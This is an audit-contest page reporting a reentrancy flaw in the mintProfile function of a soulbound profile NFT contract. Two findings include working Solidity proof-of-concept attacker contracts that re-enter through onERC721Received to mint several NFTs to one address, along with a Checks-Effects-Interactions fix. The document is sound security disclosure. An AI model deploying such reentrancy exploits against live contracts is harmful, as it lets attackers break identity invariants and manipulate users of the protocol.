DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in `mintProfile` allows a malicious contract to mint multiple soulbound NFTs

Root + Impact

Description

`SoulboundProfileNFT.mintProfile` is designed to enforce a strict one-profile-per-address invariant: each address may only ever own a single soulbound NFT tied to their identity.
`_safeMint` triggers the external `onERC721Received` callback on the recipient before the contract writes `profileToToken[msg.sender]`. Because state is updated *after* the external call, a malicious contract can re-enter `mintProfile` during the callback while `profileToToken[msg.sender]` is still `0`, bypassing the existence check and minting additional NFTs to the same address.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId); // external call — triggers onERC721Received on recipient
// state is written AFTER the external call ↓
@> _profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Risk

Likelihood:

Any smart contract wallet or contract-based account that implements `onERC721Received` with reentrant logic will trigger this when calling `mintProfile`.
No special privileges are required — the attack is open to any user whose EOA is a contract.

Impact:

The one-profile-per-address invariant is broken: an attacker can hold multiple profile NFTs.
Downstream logic in `burnProfile`, `blockProfile`, and `LikeRegistry.likeUser` that relies on `profileToToken` for identity verification becomes unreliable.
An attacker can manipulate the matching system by registering multiple identities.

Proof of Concept

The attack works in three stages:

Setup — The attacker deploys a contract (MaliciousReceiver) that implements onERC721Received. This contract holds a reference to SoulboundProfileNFT and an attackCount to limit recursion depth.

Attack entry — The attacker calls attack() on their contract, which calls mintProfile("Attacker", 25, "ipfs://evil"). The contract passes the existence check because profileToToken[address(MaliciousReceiver)] == 0. _safeMint is called and mints tokenId = 1 to the attacker contract.

Reentrancy — Before writing profileToToken, _safeMint calls onERC721Received on the attacker contract. Inside the callback, profileToToken[address(MaliciousReceiver)] is still 0. The attacker calls mintProfile again — this passes the check a second time, minting tokenId = 2. This can recurse as many times as the attacker wishes (limited here to 3 for gas reasons).

Result — The attacker contract holds 3 NFTs. profileToToken now points to the last minted token, but all NFTs are permanently owned by the attacker, breaking the invariant.

To run: forge test --match-test test_reentrancyMintProfile -vvvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract MaliciousReceiver is IERC721Receiver {
SoulboundProfileNFT private target;
uint256 private attackCount;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
}
function attack() external {
target.mintProfile("Attacker", 25, "ipfs://evil");
}
function onERC721Received(
address, address, uint256, bytes calldata
) external override returns (bytes4) {
// profileToToken[address(this)] is still 0 here — re-enter
if (attackCount < 2) {
attackCount++;
target.mintProfile("Attacker", 25, "ipfs://evil");
}
return this.onERC721Received.selector;
}
}
contract H1_ReentrancyTest is Test {
SoulboundProfileNFT profileNFT;
function setUp() public {
profileNFT = new SoulboundProfileNFT();
}
function test_reentrancyMintProfile() public {
MaliciousReceiver attacker = new MaliciousReceiver(address(profileNFT));
attacker.attack();
// Attacker holds 3 NFTs despite 1-per-address invariant
uint256 balance = profileNFT.balanceOf(address(attacker));
assertGt(balance, 1, "Invariant broken: attacker holds multiple profiles");
console.log("NFTs minted to attacker:", balance);
}
}

Recommended Mitigation

Apply the **Checks-Effects-Interactions** pattern — write all state before making the external call:
```solidity
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
// ✅ Effects before external call
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId); // Interactions last
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!